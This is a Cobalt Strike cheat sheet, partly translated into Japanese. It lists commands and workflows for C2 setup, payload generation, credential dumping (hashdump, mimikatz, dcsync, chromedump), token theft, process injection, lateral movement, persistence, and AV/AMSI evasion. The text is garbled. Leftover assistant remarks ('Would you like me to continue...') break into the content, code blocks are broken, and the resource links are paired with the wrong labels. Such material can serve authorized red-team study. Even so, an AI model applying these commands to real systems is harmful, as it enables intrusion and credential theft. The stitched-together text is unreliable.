コンテンツにスキップ

Cobalt Strikeチートシート

## 概要

Cobalt Strikeは、高度な脅威アクターを模倣するために設計された商用のペネトレーションテストおよびレッドチーム運用プラットフォームです。ポスト侵入フレームワークを提供し、オペレーターは侵害されたシステムにビーコン(エージェント)を展開し、コマンド&コントロール(C2)チャネルを確立し、さまざまな攻撃的セキュリティ操作を実行できます。

⚠️ 警告: Cobalt Strikeは商用のセキュリティテストツールであり、明示的な許可がある環境でのみ使用する必要があります。

コアコンポーネント

チームサーバー

  • 中央コマンド&コントロールサーバー
  • Linuxで動作
  • ビーコンとリスナーを管理
  • チーム操作のためのコラボレーションを提供

クライアント

  • Java ベースのGUIアプリケーション
  • チームサーバーに接続
  • オペレーターがビーコンと対話するためのインターフェース
  • ターゲットネットワークを可視化

ビーコン

  • ポスト侵入のためのプライマリペイロード
  • チームサーバーとの通信を確立
  • 攻撃的操作のためのさまざまな機能を提供
  • 異なる通信モードで動作可能

Would you like me to continue with the remaining sections? I can translate the rest of the document in the same manner.```bash

Start the Team Server

./teamserver <ip_address> [malleable_c2_profile]

Example

./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile


### Client Setup
  1. Launch the Cobalt Strike client
  2. Connect > New Connection
  3. Enter Team Server details:
    • Host: <team_server_ip>
    • Port: 50050 (default)
    • User:
    • Password:
  4. Verify SSL certificate fingerprint

## Listeners

### Creating Listeners
  1. Cobalt Strike > Listeners
  2. Click “Add”
  3. Configure listener settings:
    • Name: <listener_name>
    • Payload: <beacon_type>
    • Host: <callback_domain_or_ip>
    • Port: <port_number>
    • Profile: <malleable_c2_profile>
  4. Click “Save”

### Listener Types

| タイプ | 説明 |
|------|-------------|
| HTTP | HTTP を C2 通信に使用 |
| HTTPS | C2通信にHTTPSを使用 |
| DNS | DNSクエリを使用した隠密のC2 |
| SMB | ピアツーピアC2のために名前付きパイプを使用 |
| TCP | 直接 TCP 接続を使用 |
| Foreign | 他の C2 フレームワークと統合 |
## Payload Generation

### Beacon Payload Types

Attacks > Packages > <payload_type>


| ペイロードタイプ | 説明 |
|--------------|-------------|
| Windows Executable | 標準の .exe ファイル |
| Windows Service EXE | サービス実行可能ファイル |
| DLL | ダイナミックリンクライブラリ |
| PowerShell | PowerShell ワンライナー |
| Python | Pythonスクリプト |
| Office Macro | Office文書用マクロ |
| Shellcode | 生のシェルコード |
### Artifact Kit

Attacks > Packages > Windows Executable (S)

- Generates custom payloads with evasion techniques
- Modifies signatures to avoid detection
- Customizable templates

## Beacon Commands

### Session Management

| コマンド | 説明 |
|---------|-------------|
| `help` | ヘルプ情報を表示 |
| `sleep [seconds] [jitter%]` | スリープ時間とジッターを設定 |
| `checkin` | 即時チェックインを強制 |
| `exit` | ビーコンセッションを終了する |
| `clear` | ビーコンのタスクキューをクリアする |
| `jobs` | 実行中のジョブを一覧表示 |
| `jobkill [JID]` | 実行中のジョブを停止する |
| `mode dns` | DNS モードに切り替え |
| `mode dns-txt` | DNS-TXT モードに切り替える |
| `mode dns6` | DNS6モードに切り替え |
| `mode http` | HTTPモードに切り替える |
| `mode smb` | SMBモードに切り替え |
### Information Gathering

| コマンド | 説明 |
|---------|-------------|
| `hostname` | ホスト名を取得する |
| `ipconfig` | ネットワーク設定を表示 |
| `netstat` | ネットワーク接続を表示 |
| `ps` | 実行中のプロセスを一覧表示 |
| `tasklist` | ps の代替 |
| `getuid` | 現在のユーザーIDを取得 |
| `whoami` | ユーザーの詳細情報を取得 |
| `pwd` | カレントディレクトリを表示 |
| `drives` | 利用可能なドライブをリスト |
| `dir [directory]` | ディレクトリ内のファイルを一覧表示 |
| `ls [directory]` | **dir** の代替 |
| `net [command]` | net コマンドを実行する |
| `reg query [path]` | レジストリを照会 |
| `sysinfo` | システム情報を取得 |
### File Operations

| コマンド | 説明 |
|---------|-------------|
| `cd [directory]` | ディレクトリを変更 |
| `cp [source] [destination]` | ファイルをコピーする |
| `mkdir [directory]` | ディレクトリを作成する |
| `mv [source] [destination]` | ファイルを移動または名前変更する |
| `rm [file]` | ファイルを削除する |
| `rmdir [directory]` | ディレクトリを削除する |
| `cat [file]` | ファイルの内容を表示 |
| `download [file]` | ターゲットからファイルをダウンロードする |
| `upload [file]` | ターゲットにファイルをアップロードする |
| `timestomp [file] [template]` | ファイルのタイムスタンプを変更 |
| `ls-acl [file]` | ファイルのパーミッションを一覧表示 |
### Process Operations

| コマンド | 説明 |
|---------|-------------|
| `execute [program]` | 出力をキャプチャせずに実行 |
| `shell [command]` | 実行して出力をキャプチャする |
| `run [program]` | プログラムを実行する |
| `runas [user] [password] [program]` | 別のユーザーとして実行 |
| `pth [user] [domain] [hash]` | パス・ザ・ハッシュでトークンを作成する |
| `steal_token [pid]` | プロセスからトークンを盗む |
| `make_token [domain] [user] [password]` | トークンを作成する |
| `rev2self` | 元のトークンに戻す |
| `getprivs` | システム権限を有効にする |
| `getsystem` | SYSTEMの権限を取得しようとする |
| `execute-assembly [file.exe]` | メモリ内で .NET アセンブリを実行する |
| `powerpick [command]` | powershell.exe を使用せずに PowerShell を実行する |
| `powershell [command]` | PowerShellコマンドを実行する |
| `psinject [pid] [command]` | 特定のプロセスでPowerShellを実行する |
| `shinject [pid] [arch] [file.bin]` | プロセスにシェルコードを注入する |
| `dllinject [pid] [file.dll]` | プロセスにDLLを注入する |
| `dllload [file.dll]` | ビーコンプロセスにDLLをロード |
### Lateral Movement

| コマンド | 説明 |
|---------|-------------|
| `psexec [target] [listener]` | PsExecを使用してBeaconを展開する |
| `psexec_psh [target] [listener]` | PowerShellでPsExecを使用する |
| `winrm [target] [listener]` | WinRMを使用してビーコンを展開する |
| `wmi [target] [listener]` | WMIを使用してビーコンを展開する |
| `ssh [target:port] [user] [pass] [listener]` | SSHを使用してbeaconをデプロイする |
| `ssh-key [target:port] [user] [key] [listener]` | SSH キー認証を使用する |
| `dcsync [domain] [user]` | DCSync を使用してパスワードハッシュを抽出する |
| `jump [method] [target] [listener]` | 指定されたメソッドを使用してターゲットにジャンプする |
| `remote-exec [method] [target] [command]` | リモートシステムでコマンドを実行 |
### Pivoting

| コマンド | 説明 |
|---------|-------------|
| `rportfwd [bind port] [forward host] [forward port]` | リバースポートフォワードを設定する |
| `rportfwd stop [bind port]` | リバースポートフォワードを停止 |
| `socks [port]` | SOCKSプロキシサーバーを起動 |
| `socks stop` | SOCKSプロキシサーバーを停止 |
| `spunnel [host] [port]` | SMB上で暗号化されたトンネルを作成 |
| `spunnel stop` | 暗号化トンネルを停止 |
| `covertvpn [interface] [IP/Mask]` | Covert VPN インターフェースをデプロイ |
| `covertvpn stop` | Covert VPN を停止 |
| `pivot [host] [port]` | ピボットリスナーをリスト |
| `pivotlistener [host] [port]` | ピボットリスナーを作成 |
### Post-Exploitation

| コマンド | 説明 |
|---------|-------------|
| `mimikatz [command]` | Mimikatz コマンドを実行 |
| `hashdump` | パスワードハッシュをダンプする |
| `logonpasswords` | メモリからクレデンシャルをダンプ |
| `keylogger [pid]` | キーロガーを開始 |
| `screenshot [pid]` | スクリーンショットを撮る |
| `screenwatch [pid]` | ターゲットの画面を監視 |
| `printscreen` | PrintScreenを使ってスクリーンショットを撮る |
| `reg query [path]` | レジストリを照会 |
| `powerview [command]` | PowerView コマンドを実行する |
| `portscan [targets] [ports] [discovery method]` | オープンポートをスキャン |
| `browserpivot [pid] [port]` | 認証済みのWebセッションをハイジャックする |
| `chromedump` | Chrome の Cookie とログインデータをダンプする |
| `persist [method] [listener]` | 永続性の設定 |
| `elevate [exploit] [listener]` | 権限昇格を試みる |
## Malleable C2 Profiles

### Basic Structure

Global options

set sleeptime “5000”; set jitter “10”; set useragent “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36”;

HTTP staging

http-stager \\{ set uri “/jquery-3.3.1.min.js”; client \\{ header “Accept” “text/javascript, application/javascript, /”; \\} server \\{ header “Content-Type” “application/javascript”; \\} \\}

HTTP client

http-get \\{ set uri “/api/v1/data”; client \\{ header “Accept” “application/json”; metadata \\{ base64; prepend “session=”; append ”;”; header “Cookie”; \\} \\} server \\{ header “Content-Type” “application/json”; output \\{ json \\{ “status” “success”; “data” ""; \\} prepend ”\\{“data”:""; append ""\\}”; base64; \\} \\} \\}


### Testing Profiles
```bash
# Verify profile syntax
./c2lint c2-profiles/normal/amazon.profile

# Start Team Server with profile
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile

Aggressor Scripts

Basic Script Structure

# Event handlers
on beacon_initial \\\\{
    println("New beacon: " . $1);
\\\\}

# Aliases (custom commands)
alias hello \\\\{
    blog($1, "Hello, World!");
\\\\}

# Menus
popup beacon_bottom \\\\{
    item "Custom Command" \\\\{
        blog($1, "Executing custom command...");
        bshell($1, "whoami");
    \\\\}
\\\\}

# Functions
sub get_system_info \\\\{
    bshell($1, "systeminfo");
\\\\}

Common Script Functions

関数説明
blog($1, "message")beacon コンソールに書き込む
bshell($1, "command")シェルコマンドを実行
bpowershell($1, "command")PowerShellコマンドを実行する
bpowerpick($1, "command")powershell.exe を使用せずに PowerShell を実行する
bexecute_assembly($1, "/path/to/file.exe").NET アセンブリを実行する
bdllspawn($1, "/path/to/file.dll")リフレクティブ DLL の注入
bpsexec($1, "target", "listener")PsExecを使用した横方向移動
bwmi($1, "target", "listener")WMI の横方向移動を実行
bwinrm($1, "target", "listener")WinRMを使用した横方向移動の実行

OPSEC Considerations

Process Injection

# Set parent process for new processes
ppid [pid]

# Set process to spawn for post-ex jobs
spawnto x64 %windir%\\sysnative\\rundll32.exe
spawnto x86 %windir%\\syswow64\\rundll32.exe

# Mask command-line arguments
argue [command] [fake arguments]

# Block non-Microsoft DLLs
blockdlls start
blockdlls stop

Evasion Techniques

# Obfuscate beacon in memory
sleep_mask [seconds] [jitter%]

# Configure staging process
stage \\\\{
    set obfuscate "true";
    set stomppe "true";
    set cleanup "true";
\\\\}

# Disable AMSI
amsi_disable

# Use smarter process injection
smartinject
```## 一般的なワークフロー
  1. Create a listener (Cobalt Strike > Listeners)
  2. Generate a payload (Attacks > Packages)
  3. Deliver payload to target
  4. Wait for beacon check-in
  1. Check current privileges: getuid
  2. Attempt to get SYSTEM: getsystem
  3. If unsuccessful, try specific exploits: elevate [exploit] [listener]
  4. Verify new privileges: getuid
  1. Dump hashes: hashdump
  2. Dump credentials from memory: logonpasswords
  3. Use Mimikatz for advanced options: mimikatz [command]
  4. Extract domain hashes (if DC): dcsync [domain] [user]
  1. Identify targets: net view
  2. Choose lateral movement technique:
    • psexec [target] [listener]
    • winrm [target] [listener]
    • wmi [target] [listener]
  3. Verify new beacon check-in
  1. Choose persistence method:
    • persist [method] [listener]
    • schtasks [options]
    • service [options]
    • registry [options]
  2. Verify persistence works
  3. Document persistence mechanisms for cleanup
https://www.cobaltstrike.com/help-beacon#

# リソース
- [Cobalt Strike 公式ドキュメント](
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
- [Cobalt Strike ユーザーガイド](
https://github.com/BC-SECURITY/Malleable-C2-Profiles)
- [Malleable C2 プロファイル](
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as_aggressor_script.htm)
- [Aggressor スクリプトドキュメンテーション](
https://attack.mitre.org/software/S0154/)
- [Cobalt Strike MITRE ATT&CK マッピング](

Would you like me to fill in the URLs or links for the resources as well?